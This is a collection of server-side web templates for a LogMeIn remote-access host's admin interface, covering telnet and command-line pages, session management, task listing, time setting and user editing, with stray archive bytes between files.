<?if PAGE.NEXT?>
<i><anchor><?&MSG.PAGING.TONEXT?>
<go href="&TEMPLATE&" method="get">
<postfield name="idx" value="&PAGE.NEXT&"/>
<postfield name="what" value="svc"/>
<postfield name="cnt" value="&PAGE.LENGTH&"/>
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor></i>
<?endif?>
<?if PAGE.PREV?>
<i><anchor><?&MSG.PAGING.TOPREV?>
<go href="&TEMPLATE&" method="get">
<postfield name="idx" value="&PAGE.PREV&"/>
<postfield name="what" value="svc"/>
<postfield name="cnt" value="&PAGE.LENGTH&"/>
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor></i>
<?endif?>
<br/>
</p>

<p align="left">
<?if WAP.HIRES?>
<table columns="2">
<?enum SERVICES?>
<tr>
<td><anchor><?&SERVICE.NAME?>
<go href="service.wml" method="get">
<postfield name="svc" value="<?&SERVICE.NAME?>"/>
<postfield name="what" value="svc"/>
<postfield name="idx" value="<?&PAGE.LO?>"/>
<postfield name="rasid" value="<?&RASID?>"/>
</go>
</anchor></td>
<td><?&MSG.ADMIN.SERVICE.STATUS:SERVICE.STATUS?></td>
</tr>
<?next?>
</table>
<?else?>
<?enum SERVICES?>
<anchor><?&SERVICE.NAME?>
<go href="service.wml" method="get">
<postfield name="svc" value="<?&SERVICE.NAME?>"/>
<postfield name="what" value="svc"/>
<postfield name="idx" value="<?&PAGE.LO?>"/>
<postfield name="rasid" value="<?&RASID?>"/>
</go>
</anchor>
<?next?>
<?endif?>
</p>

<p align="center">
<b><anchor><?&MSG.DIALOG.MAINMENU?>
<go href="/main.wml" method="get">
<postfield name="rasid" value="<?&RASID?>"/>
</go>
</anchor></b>
</p>
</card>
</wml> 
{d<table.inc[<?ratmpl?>
<?if not LORES?><link type="text/css" rel="stylesheet" href="/css/multiselectlist.css" /><?endif?>
<script type="text/javascript" src="/js/selectableelements.js"></script>
'ptabs.inc|[<script type="text/javascript" src="/js/tabs.js"></script>
<link type="text/css" rel="stylesheet" href="/css/tabs.css" />
πntasklist.htmlX<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>
<?action "tasklist"?>
<?usemacro WINERRDLG()?>

<table border="1">
<tr>
<th>Name</th>
<th>Schedule</th>
<th>Last run</th>
<th>Next run</th>
<th>Creator</th>
<th>User</th>
<th>Application</th>
</tr>
<?enum TASKS?>
<?if TASK.ENABLED?>
<tr>
<?else?>
<tr style="text-decoration: line-through">
<?endif?>
<td>&TASK.NAME&</td>
<td>&TASK.SCHEDULE&</td>
<td><?&TASK.LASTRUN_ago?></td>
<td><?&TASK.NEXTRUN_in?></td>
<td>&TASK.CREATOR&</td>
<td>&TASK.APP.USER&</td>
<td>&TASK.APP.NAME& &TASK.APP.ARGS&</td>
</tr>
<?next?>
</table>

</body>
</html>
bCtelnet.html(:Щ<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head>
<?include "setupdomain.html"?>
<title>&SRVNAME& - &MSG.TELNET.TITLE& - &PRODUCTNAME&</title>
<?include "style.inc"?>
<script type="text/javascript" src="/js/lmiborgsupport.js"></script>
<? if not REQ.TYPE 
set REQ.TYPE = "activex"
?>
<script type="text/javascript">
if (! LMIBrowserInfo.IsPluginsSupported() && LMIBrowserInfo.GetPlatform() != "Mac") {
<? if UITYPE = "LMI" ?>
window.location.replace("lmistart.html?startclient=03&" + Math.floor((Math.random()*10000)+1));
<? else ?>
window.location.replace("dashboard.html?startclient=03&" + Math.floor((Math.random()*10000)+1));
<? endif ?>
}
</script>
<? endif ?>
</head>
<?
if REQ.APP
include "telnet_app.html"
else
include "telnet_frame.html"
endif
?>
</html>

telnet.wmlE<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN" "http://www.wapforum.org/DTD/wml_1.1.xml">
<?ratmpl?>
<wml> 
<card id="telnet" title="&SRVNAME&" newcontext="true">
<p align="left">
<?action "cmdline" REQ.ROWS=CFG.PERWML?>
<?if WINERRMSG?>
<b><?&WINERRMSG?></b>
<?else?>
<?enum OUTPUT?><?&OUTPUT.LINE?><br/><?next?>
<?if PROMPT?>
<?&PROMPT?>&nbsp;<input type="text" format="*M" maxlength="100" size="30" name="input"/>
<?endif?>
<?endif?>
</p>

<p align="center">
<?if not WINERRMSG?>
<?if PROMPT?>
<anchor><?&MSG.TELNET.SEND?>
<go href="&TEMPLATE&" method="get">
<postfield name="rasid" value="&RASID&"/>
<postfield name="input" value="$(input)"/>
<postfield name="enter" value="1"/>
</go>
</anchor><br/>
<?endif?>
<anchor><?&MSG.TELNET.CTRLC?>
<go href="&TEMPLATE&" method="get">
<postfield name="rasid" value="&RASID&"/>
<postfield name="ctrlc" value="1"/>
</go>
</anchor><br/>
<?endif?>
<anchor><?&MSG.DIALOG.UPDATE?>
<go href="&TEMPLATE&" method="get">
<postfield name="rasid" value="&RASID&"/>
<postfield name="rnd" value="&RND&"/>
</go>
</anchor>
</p>

<p align="center">
<b><anchor><?&DIALOG.MAINMENU?>
<go href="/main.wml" method="get">
<postfield name="rasid" value="&RASID&"/>
</go>
</anchor></b>
</p>
</card>
</wml> 
telnet.xml!r<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<?
if not REQ.TYPE
set REQ.TYPE = "activex"
endif
set session ISBORGCONNECTED = "Yes"
?>

<?action "appletssl"?>
<?action "telnet"?>
<?xml version="1.0" encoding="utf-8"?>
<telnet>
<?include "telnet_params.html"?>
</telnet>
Dtelnetconn.html	}<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>
<body>

<div class="window">
<?
action "telnetconn"
usemacro WINERRDLG()
?>
<div class="titleBar"><?usemacro TITLEICON("perf")?><span class="titleText">&MSG.CONFIG.TELNET.CONNECTIONS&</span></div>
<div class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%MSG.CONFIG.TELNET.CONNECTIONS%&favicon=menu_perf.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>
<center>
<?if SESSIONS?>
<br>
<table class="inner">
<tr>
<th>&nbsp;</th>
<th>&MSG.CONFIG.TELNET.USER&</th>
<th>&MSG.CONFIG.TELNET.IP&</th>
<th>&MSG.CONFIG.TELNET.START&</th>
<th>&MSG.CONFIG.TELNET.PROTO&</th>
<th>&MSG.CONFIG.TELNET.EMULATION&</th>
<th>&MSG.CONFIG.TELNET.SIZE&</th>
<th>&MSG.CONFIG.TELNET.EXPIRE&</th>
<th>&MSG.CONFIG.TELNET.KICK&</th>
<?if ISNT?><th>&MSG.CONFIG.TELNET.KILL&</th><?endif?>
</tr>
<?enum SESSIONS?>
<tr valign="middle">
<td><?if SESSION.CONNECTED?><img src="img/ico_user.png?bg=%COLOR.DlgBack%"><?else?><img src="img/ico_user_disabled.png?bg=%COLOR.DlgBack%"><?endif?></td>
<td><?if SESSION.USERNAME?>&SESSION.USERNAME&<?else?>&MSG.CONFIG.NA&<?endif?></td>
<td>&SESSION.IP&</td>
<td><?&SESSION.START _dtms?></td>
<td><?if SESSION.PROTO?>&SESSION.PROTO&<?else?>&MSG.CONFIG.NA&<?endif?></td>
<td><?if SESSION.EMULATION?>&MSG.CONFIG.TELNET:SESSION.EMULATION&<?else?>&MSG.CONFIG.NA&<?endif?></td>
<td><?if SESSION.WINDOWX?>&SESSION.WINDOWX&x&SESSION.WINDOWY&<?else?>&MSG.CONFIG.NA&<?endif?></td>
<td><?if SESSION.EXPIRE?><?&SESSION.EXPIRE _in?><?else?>&MSG.CONFIG.NA&<?endif?></td>
<td align="center"><?if SESSION.KICK?><a href="&TEMPLATE&?op=kick&sid==SESSION.ID="><img border=0 src="img/ico_kill.png?bg=%COLOR.DlgBack%"></a><?else?>&nbsp;<?endif?></td>
<?if ISNT?><td align="center"><?if SESSION.KILL?><a href="&TEMPLATE&?op=kill&sid==SESSION.ID="><img border=0 src="img/ico_kill.png?bg=%COLOR.DlgBack%"></a><?else?>&nbsp;<?endif?></td><?endif?>
</tr>

<?if SESSION.SSHCHANNELS?>
<tr>
<td colspan=2>&nbsp;</td>
<td colspan=8>&SESSION.SSHCHANNELS&</td>
</tr>
<?endif?>
<?next?>
</table>
<?else // SESSIONS?>
<br>
&MSG.CONFIG.TELNET.NOCONNECTIONS&
<br>
<?endif // SESSIONS?>
<br><br>
</center>
</div>
</body>
</html>
[telnet_app.htmlcѓ<?ratmpl?>
<?nocache?>

<?include "activex.inc"?>
<?include "chkobject.inc"?>

<?
if REQ.APPLETWIDTH
set APPLETWIDTH = REQ.APPLETWIDTH
set APPLETHEIGHT = REQ.APPLETHEIGHT
else
action "appletsize"
endif
?>

<?if not APPLETWIDTH?>
<script language="JavaScript"> 
function appletResize() {
var w_newWidth, w_newHeight, w_titleHeight;
var vContainer1 = document.getElementById("title1");
var vContainer2 = document.getElementById("title2");
w_titleHeight = vContainer1.offsetHeight + vContainer2.offsetHeight;
w_newWidth =self.innerWidth; 
w_newHeight=self.innerHeight - w_titleHeight; 
window.location.replace('&TEMPLATE&?type=html&appletwidth=' + 
w_newWidth + '&appletheight=' + w_newHeight + '&app=1');
}
</script> 		
<?endif?>

<?if REQ.TYPE = "activex"?>

<body <?if not APPLETWIDTH?>onload="appletResize();"<?else?>onload="chkObject('telnetControl', true);"<?endif?>>
<?
if BRAND.LOGMEIN and ACTIONS has "-cfgtelnet-"
action "cfgtelnet"
usemacro WINERRDLG()
endif
?>
<table class="window" width="100%" height="100%" <?if BRAND.LOGMEIN // Mozilla tends to screw up without this (only LMI - see window.css)?> style="height: 100%; border: solid black; border-width: 0px 1px 1px 1px;"<?endif?>>
<tr><td class="titleBar" id="title1"><?usemacro TITLEICON("manage")?><span class="titleText"><?&MSG.TELNET.TITLE?></span></td></tr>
<tr><td class="buttonBar" id="title2">
<!-- TOOLBAR -->
<div class="buttonGroup">
<a href="title.html?favname=%MSG.TELNET.TITLE%&favicon=ico_dos.gif&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%" target="body"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
<div class="buttonGroup">
<?if ACTIONS has "-cmdline-"?>
<a href="&TEMPLATE&?%RND%&type=html&app=1" target="body"><img src="img/ico_dos.gif" border="0" title="&MSG.TELNET.HTMLBASED&"></a>
<?endif?>
<?if ACTIONS has "-cfgtelnet-"?>
<a href="cfgtelnet.html?%RND%" target="body"><img src="img/ico_prop.gif" border="0" title="&MSG.MENU.PREFER&"></a>
<?endif?>
</div>
</td></tr>

<tr><td height="100%" align="center">
<?if APPLETWIDTH?>
<?action "appletssl"?>
<?action "telnet"?>
<?if not WINERRNUM?>
<?if REQ.TYPE="activex"?>
<?usemacro OBJECTOPEN(ACTIVEX.CAB, "CLSID:4849E17D-2DEF-40D7-98DE-DB555B4A589C", APPLETWIDTH, APPLETHEIGHT, "telnetControl")?>
<?include "telnet_params.html"?>
<?usemacro OBJECTCLOSE()?>
<?endif?>
<?else?>
<b>&WINERRMSG&</b>
<?endif?>
<?endif?> <!-- APPLETWIDTH //-->

</td></tr>
</table>
</body>

<?else?>

<?if REQ.ROWS?><?set session CMD.ROWS=REQ.ROWS?><?endif?>
<?if not CMD.ROWS?><?set session CMD.ROWS=20?><?endif?>
<body scroll="auto">
<div class="window">
<div class="titleBar"><?usemacro TITLEICON("manage")?><span class="titleText"><?&MSG.TELNET.TITLE?> (<?&MSG.TELNET.HTMLBASED?>)</span></div>
<div class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%MSG.TELNET.TITLE%%20(%MSG.TELNET.HTMLBASED%)&favicon=ico_dos.gif&favargs=%TEMPLATE%%3Ftype=cmd" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%&type=cmd"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
<?if ACTIONS has "-telnet-"?>
<div class="buttonGroup">
<a href="&TEMPLATE&?%RND%"><img src="img/ico_dos.gif" border="0" title="&MSG.TELNET.JAVABASED&"></a>
</div>
<?endif?>
<div class="buttonGroup">
<?&MSG.CONFIG.TELNET.HEIGHT?>: <select name="rows" size="1" onchange="location.replace('$TEMPLATE$?type=cmd&app=1&rows='+this.options[this.selectedIndex].text)">
<option <?selected CMD.ROWS= "10"?>>10
<option <?selected CMD.ROWS= "20"?>>20
<option <?selected CMD.ROWS= "40"?>>40
<option <?selected CMD.ROWS= "60"?>>60
<option <?selected CMD.ROWS= "80"?>>80
<option <?selected CMD.ROWS="120"?>>120
</select>
</div>
</div>
<form action="&TEMPLATE&" method="post" class="clientArea">
<?action "cmdline" REQ.ROWS=CMD.ROWS?>
<?if not WINERRNUM?>
<input type="hidden" name="type"  value="&REQ.TYPE&">
<input type="hidden" name="enter" value="1">
<input type="hidden" name="app"   value="1">
<tt>
<?enum OUTPUT?>&OUTPUT.LINE&<br>
<?next?>
<?if PROMPT?>
<?&PROMPT?>&nbsp;<input type="text" name="input" value="" size="30">
<script language="JavaScript">
var inp = document.forms[0].input;
if (inp && inp.focus) inp.focus();
</script>
<input type="submit" name="send" value="&MSG.TELNET.SEND&">
<?endif?>
<input type="submit" name="ctrlc" value="&MSG.TELNET.CTRLC&">
</tt>
<?else?>
<center><b>&WINERRMSG&</b></center>
<?endif?>		
</form>
</div>
</body>    
<?endif?>

</html>
o&"telnet_frame.htmlL<?ratmpl?>
<?
if REQ.APPLETWIDTH
set APPLETWIDTH = REQ.APPLETWIDTH
set APPLETHEIGHT = REQ.APPLETHEIGHT
else
action "appletsize"
endif
?>

<frameset rows="*,0" frameborder="0" framespacing="0" border="0" marginwidth="0" marginheight="0" scrolling="no">
<frame src="&TEMPLATE&?type=%REQ.TYPE%&appletwidth=%APPLETWIDTH%&appletheight=%APPLETHEIGHT%&app=1" frameborder="0" framespacing="0" border="0" marginwidth="0" marginheight="0" scrolling="no">
<frame src="empty.html" frameborder="0" framespacing="0" border="0" marginwidth="0" marginheight="0" scrolling="no">
</frameset>
+$telnet_params.htmlT/<?ratmpl?>

<!-- product information -->
<param name="Brand" value="&PRODUCTABBR&"/>
<param name="PRODUCTNAME" value="&PRODUCTNAME&"/>
<param name="COPYRIGHT" value="&COPYRIGHT&"/>
<param name="machine" value="&SRVNAME&"/>
<param name="WHITELABELED" value="&WHITELABELED&"/>

<!-- connection options -->
<param name="SessionID" value="&RASID&"/>
<param name="HTTPHost" value="&HTTP.HOST&"/>
<param name="HTTPPort" value="&HTTP.PORT&"/>
<param name="ForceTunnel" value="&FORCETUNNEL&"/>
<param name="commv" value="4"/>
<param name="Lang" value="&LANG&"/>
<param name="HostOS" value="&LMIOSTYPE&"/>
<param name="UnicodeSupported" value="1"/>

<?if BRAND.LOGMEIN?>
<param name="HostID" value="&CFG.WEBSVC.NUMHOSTID&"/>
<param name="WebSvcSID" value="&WEBSVCSID&"/>
<param name="HomeSite" value="&HOMESITE&"/>
<param name="HasCentral" value="&HASCENTRAL&"/>
<param name="IsMAH" value="&ISMAH&"/>
<param name="ProfileID" value="&PROFILEID&"/>
<?endif?>

<!-- SSL parameters -->
<param name="SSLOK" value="<?if SSL?>1<?else?>0<?endif?>"/>
<?if CACERT?><param name="CACERT" value="&CACERT&"/><?endif?>
<?if RACERT?><param name="RACERT" value="&RACERT&"/><?endif?>
<?if RAWSSL?><param name="RAWSSL" value="&RAWSSL&"/><?endif?>
<?if RAWSSL?><param name="RAWSSLv2" value="&RAWSSL&"/><?endif?>

<!-- connection messages -->
<param name="CONNECTING" value="&MSG.APPLET.CONNECTING&"/>
<param name="ESCTOCANCEL" value="&MSG.APPLET.ESCTOCANCEL&"/>
<param name="CONNECTED" value="&MSG.APPLET.CONNECTED&"/>
<param name="TRYINGTUNNEL" value="&MSG.APPLET.TRYINGTUNNEL&"/>
<param name="TRYINGTUNNELFAIL" value="&MSG.APPLET.TRYINGTUNNELFAIL&"/>
<param name="TUNNELCONNECTED" value="&MSG.APPLET.TUNNELCONNECTED&"/>
<param name="WARNENCRYPT" value="&MSG.APPLET.WARNENCRYPT&"/>
<param name="CONNECTFAILED" value="&MSG.APPLET.CONNECTFAILED&"/>
<param name="SSLCONNECTING" value="&MSG.APPLET.SSLCONNECTING&"/>
<param name="SSLCONNECTED" value="&MSG.APPLET.SSLCONNECTED&"/>
<param name="SSLVERIFIED" value="&MSG.APPLET.SSLVERIFIED&"/>
<param name="SSLISSUER" value="&MSG.APPLET.SSLISSUER&"/>
<param name="SSLSUBJECT" value="&MSG.APPLET.SSLSUBJECT&"/>
<param name="SSLERROR" value="&MSG.APPLET.SSLERROR&"/>
<param name="SSLCERTERROR" value="&MSG.APPLET.SSLCERTERROR&"/>
<param name="SSLMITMDETECT" value="&MSG.APPLET.SSLMITMDETECT&"/>
<param name="AUTHENTICATING" value="&MSG.APPLET.AUTHENTICATING&"/>
<param name="UNDECIPHERABLE" value="&MSG.APPLET.UNDECIPHERABLE&"/>
<param name="AUTHENTICATED" value="&MSG.APPLET.AUTHENTICATED&"/>
<param name="CONNREFUSED" value="&MSG.APPLET.CONNREFUSED&"/>
<param name="DISCONNECTED" value="&MSG.APPLET.DISCONNECTED&"/>				

<!-- messages -->
<param name="CLIENTNAME" value="&MSG.TELNET.CLIENTNAME&"/>
<param name="FAILINIT" value="&MSG.TELNET.FAILINIT&"/>
<param name="NOMOUSE" value="&MSG.TELNET.NOMOUSE&"/>
<param name="MOUSECLICKS" value="&MSG.TELNET.MOUSECLICKS&"/>
<param name="MOUSEDRAGS" value="&MSG.TELNET.MOUSEDRAGS&"/>
<param name="ALLMOUSE" value="&MSG.TELNET.ALLMOUSE&"/>
<param name="WORKING" value="&MSG.TELNET.WORKING&"/>
<param name="REMOTEMACHINE" value="&MSG.TELNET.REMOTEMACHINE&"/>
<param name="RECEIVED" value="&MSG.TELNET.RECEIVED&"/>
<param name="SENT" value="&MSG.TELNET.SENT&"/>
<param name="SIZE" value="&MSG.TELNET.SIZE&"/>
<param name="INITIALIZING" value="&MSG.TELNET.INITIALIZING&"/>
<param name="UPDATING" value="&MSG.TELNET.UPDATING&"/>
<param name="MARKRECT" value="&MSG.TELNET.MARKRECT&"/>
<param name="BTNCB" value="&MSG.TELNET.BTNCB&"/>
<param name="BTNCBTITLE" value="&MSG.TELNET.BTNCBTITLE&"/>
<param name="BTNMARK" value="&MSG.TELNET.BTNMARK&"/>
<param name="BTNMARKTITLE" value="&MSG.TELNET.BTNMARKTITLE&"/>
<param name="BTNCOPY" value="&MSG.TELNET.BTNCOPY&"/>
<param name="BTNCOPYTITLE" value="&MSG.TELNET.BTNCOPYTITLE&"/>
<param name="BTNPASTE" value="&MSG.TELNET.BTNPASTE&"/>
<param name="BTNPASTETITLE" value="&MSG.TELNET.BTNPASTETITLE&"/>
<param name="RECONNECTING" value="&MSG.TELNET.RECONNECTING&"/>
<param name="RECONNECTFAIL" value="&MSG.TELNET.RECONNECTFAIL&"/>
<param name="INITAWTCONSOLE" value="&MSG.TELNET.INITAWTCONSOLE&"/>
<param name="LOADFONTIMAGE" value="&MSG.TELNET.LOADFONTIMAGE&"/>
<param name="LOADFONTIMAGEFAIL" value="&MSG.TELNET.LOADFONTIMAGEFAIL&"/>
<param name="CREATINGCOLOR" value="&MSG.TELNET.CREATINGCOLOR&"/>
<param name="AWTREADY" value="&MSG.TELNET.AWTREADY&"/>
term.html]/<!doctype html>
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=11" />
<title>LogMeIn Terminal</title>
<link rel="shortcut icon" type="image/png" href="/favicon.ico">
</head>
<body>
<div id="main-container">
<div id="terminal-container"></div>
</div>
<script src="/xterm-client-bundle.js" defer ></script>
</body>
</html>
:y^testws.html_<html>
<head>
<script language="JavaScript">
function log(msg)
{
var log_div = document.getElementById("testws-log");
log_div.innerText += msg + "\n";
}

var socket;
function test() 
{
var h = location.host;
log("opening websocket");
socket = new WebSocket("wss://" + h + "/streaming/ws/", "lmisignaling");
socket.onopen = function()
{
log("websocket opened");
log("send: Hello from browser");
socket.send("Hello from browser");
}

socket.onmessage = function(evt)
{
log("recv: " + evt.data);
var recv = evt.data;
}

socket.onclose = function()
{
log("websocket closed");
}
}

function send_a_message()
{
log("send: This is a message");
socket.send("This is a message");
}

function send_bye()
{
log("send: Bye from browser");
socket.send("Bye from browser")
}
</script>
<button onclick="test()">Open WebSocket</button>
<button onclick="send_a_message()">Send a message</button>
<button onclick="send_bye()">Send Bye</button>
<div id="testws-log"></div>
</head>
</html>time.html
)<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>
<?
if REQ.SUBMIT
action "timeset"
usemacro WINERRDLG()
endif
action "timeget" // this never generates an error
?>
<div class="window">
<div class="titleBar"><?usemacro TITLEICON("admin")?><span class="titleText">&ADMIN.TIME.TITLE&</span></div>
<div class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%ADMIN.TIME.TITLE%&favicon=menu_admin.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>

<center><br>
<form action="&TEMPLATE&" method="post">
<fieldset><br>
<?&ADMIN.TIME.CURRENT?>: <b><?&DATETIME _dtml?></b>
<br>
<br>
<table>
<tr><td align="right">&ADMIN.TIME.DATE&:</td><td><input type="text" name="datey" style="width:4em" value="&DATE.Y&" onchange="updDays();updTime()">.
<select name="datem" size="1" onchange="updDays();updTime()"></select>.
<select name="dated" size="1" onchange="updTime()"></select></td>
</tr>
<tr><td align="right">&ADMIN.TIME.TITLE&:</td><td><select name="timeh" size="1" onchange="updTime()"></select>:
<select name="timem" size="1" onchange="updTime()"></select>:
<select name="times" size="1" onchange="updTime()"></select></td>
</tr>
</table>
<br>
</fieldset>
<br>
<br>
<input type="submit" name="submit" value="&DIALOG.APPLY&" <?disabled ACTIONS hasnt "timeset"?>>
</form>
<script language="JavaScript">
var form = document.forms[0];
// client time when loaded
var ldc = new Date();
// server time when loaded
var lds = new Date(&DATE.Y&, &DATE.M&-1, &DATE.D&, &TIME.H&, &TIME.M&, &TIME.S&);
// initialize options
fill(form.datem, 1, 12, &DATE.M&);
fill(form.dated, 1, getDays(), &DATE.D&);
fill(form.timeh, 0, 23, &TIME.H&);
fill(form.timem, 0, 59, &TIME.M&);
fill(form.times, 0, 59, &TIME.S&);
// start clock
tick();
function updDays() {
fill(form.dated, 1, getDays(), getVal(form.dated));
}
function updTime() {
// read new server time from form
lds = new Date(
getVal(form.datey),
getVal(form.datem)-1,
getVal(form.dated),
getVal(form.timeh),
getVal(form.timem),
getVal(form.times));
}
function tick() {
// current client time
var cc = new Date();
// current server time
var cs = new Date(cc.getTime() - ldc.getTime() + lds.getTime());
// set time
setVal(form.timeh, cs.getHours());
setVal(form.timem, cs.getMinutes());
setVal(form.times, cs.getSeconds());
// set next tick
setTimeout(tick, 1000);
}
function setVal(sel, val) {
for (var i = 0; i < sel.options.length; i++) {
if (sel.options[i].text == val) {
sel.selectedIndex = i; return;
}
}
}
function getVal(sel) {
if (sel.name == "datey") return sel.value;
var opt = sel.options[sel.selectedIndex];
return (opt.value ? opt.value : opt.text);
}
function getDays() {
var yr = getVal(form.datey);
var mo = getVal(form.datem)-1;
var date = new Date(yr, mo, 1);
for (var i = 0; date.getMonth() == mo; i++)
date.setTime(date.getTime() + 24*60*60*1000);
return i;
}
function fill(sel, min, max, val) {
var opt = sel.options;
for (var i = min; i <= max; i++)
opt[i - min] = new Option(d2(i));
while (opt.length > max - min + 1)
opt[opt.length - 1] = null;
setVal(sel, val);
}
function d2(i) {
return (i < 10 ? "0" : "") + i;
}
</script>
</center>
</div>
</body>
</html>
title.htmlsA<?ratmpl?>
<?nocache?>
<html>
<head><?include "setupdomain.html"?>
<?if not REQ.TYPE
set REQ.TYPE = "activex"
endif?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "chkobject.inc"?>
<script language="JavaScript">
function go(sel) {
var url = sel.options[sel.selectedIndex].value;
if (url.length > 0) 
window.top.body.location = url;
sel.selectedIndex = 0;
}
</script>
</head>

<body class="title" style="background: transparent;<?if BRAND.LOGMEIN?> overflow: visible;<?endif?>" onLoad = "chkObject('rapvobj2', false);">

<table width="100%" cellpadding="0" <?if BRAND.LOGMEIN?>height="25" cellspacing="0" style="margin-top: 5px;"<?else?>height="100%" cellspacing="2"<?endif?>>
<tr valign="<?if BRAND.LOGMEIN?>bottom<?else?>middle<?endif?>">
<?action "favlist"?>
<?if FAVS>0?>
<td <?if BRAND.LOGMEIN?>align="center"<?else?>align="right" rowspan="2"<?endif?>>
<select name="fav" size="1" onchange="go(this)" style="display: inline; vertical-align: middle;">
<option value="">&MSG.QLINKS.TITLE&
<?enum FAVS?><option value="&FAV.ARGS&"><?&FAV.NAME_mx45t18?><?next?>
<option value="qlinks.html">-- &MSG.QLINKS.EDIT& --
</select>&nbsp;
</td>
<?elseif BRAND.LOGMEIN?>
<td></td>
<?endif?>
</tr>
</table>

<?if REQ.FAVNAME?><?action "favadd"?>
<script language="JavaScript">
alert("$MSG.QLINKS.ADDED$");
window.location.replace("$TEMPLATE$");
</script>		
<?endif?>

</body>
</html>
 *3title.incsh<?ratmpl?>
<title><?if USERNAME?><?&SRVNAME?> - <?endif?><?&PRODUCTNAME?><?if LICENSE.LICENSEE="translator"?> (translator mode)<?endif?></title>
~Vtooltip.inc9ެ<?ratmpl?>
<?if LORES or CFG.TOOLTIPS = 0?>
	<script language="JavaScript">
		function showTip(e, html, hide, anc) {};
		function hideTip(e) {};
	</script>
<?else?>
	<script type="text/javascript" src="/js/tooltip.js"></script>
	<link type="text/css" rel="stylesheet" href="/css/tooltip.css" />
<?endif?>upload.html|<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>
<?
action "filerecv"
usemacro WINERRDLG()
?>
<div class="window">
<div class="titleBar"><?usemacro TITLEICON("manage")?><span class="titleText"><?&DRIVE.UPLOADTITLE?></span></div>
<center><br>

<fieldset>
<?if FILES?>
<table width="99%" id="flist" border="0">
<col align="center" width="20" ><!--icon-->
<col align="left"><!--source-->
<col align="left"><!--target-->
<col align="left"><!--error-->
<!-- HEADER -->
<thead>
<tr>
<th>&nbsp;</th>
<th><?&MSG.DRIVE.Source?></th>
<th><?&MSG.DRIVE.Target?></th>
<th><?&MSG.DIALOG.Status?></th>
</tr>
</thead>
<!-- CONTENT -->
<tbody>
<?enum FILES?>
<tr>
<td>&nbsp;</td>
<td>&FILE.SOURCE&</td>
<td>&FILE.TARGET&</td>
<td><?if FILE.ERROR?>&FILE.ERROR&<?else?>OK<?endif?></td>
</tr>
<?next?>
</tbody>
</table>
</table><br>
<?endif?>
</fieldset><br>
<br>
<input type="button" value="&MSG.DIALOG.Back&" onclick="window.location='dir.html?dir=$DIR$'">
<br><br>
</center>
</div>	

</body>
</html>
ˤ8useredit.htmlv+<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<?action "useredit"?>

<?
if OP="back"
redirect "/userlist.html?MSG=" MSG "&WINERRNUM=" WINERRNUM "&WINERRMSG=" WINERRMSG
elseif OP="changepwd"
redirect "/usereditchangepwd.html?name=" NAME "&WINERRNUM=" WINERRNUM "&WINERRMSG=" WINERRMSG
elseif OP="rename"
redirect "/usereditrename.html?name=" NAME "&WINERRNUM=" WINERRNUM "&WINERRMSG=" WINERRMSG
endif

usemacro WINERRDLG()
?>

<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "passsave.inc"?>
<?include "dirtree.inc"?>
</head>

<body <?if OP="new"?>onload="document.forms.useredit.name.select();"<?endif?>>

<div class="window">
<div class="titleBar"><?usemacro TITLEICON("manage")?><span class="titleText">
<?if OP="new"?>&ADMIN.USERMANAGER.ADDUSER&<?else?>&ADMIN.USERMANAGER.EDITUSER&<?endif?>
<?if MSG?> - &ADMIN.USERMANAGER:MSG&<?endif?>
</span></div>
<center>

<?if OP="new"?>
<script language="JavaScript"><!--
function checkParams(f) {
if (f.pwd.value != f.pwdconfirm.value) {
alert("$MSG.DIALOG.PWDMISMATCH$");
f.pwd.focus();
return false;
}
return true;
}
//--></script>
<?endif // OP="new" ?>

<form name=useredit action="&TEMPLATE&" method=post>
<input type=hidden name=OP value="&OP&">

<table>
<tr>
<td align="right">&ADMIN.USERMANAGER.USER.NAME&:</td>
<td>
<?if OP="new"?>
<input type="text" name=name value="&NAME&" maxlength=20>
<?else?>
<input type=hidden name=name value="&NAME&"><font color="<?&COLOR.Link?>"><b>&NAME&</b></font>
<?endif?>
</td>
</tr>

<?if OP="new"?>
<tr>
<td align="right">&MSG.DIALOG.PWDENTRY&:</td>
<td><input type=password name=pwd></td>
</tr>
<tr>
<td align="right">&MSG.DIALOG.PWDCONFIRM&:</td>
<td><input type=password name=pwdconfirm></td>
</tr>
<?endif // OP="new" ?>

<tr>
<td align="right">&ADMIN.USERMANAGER.USER.FULLNAME&:</td>
<td><input type="text" name=fullname value="&FULLNAME&"></td>
</tr>
<tr>
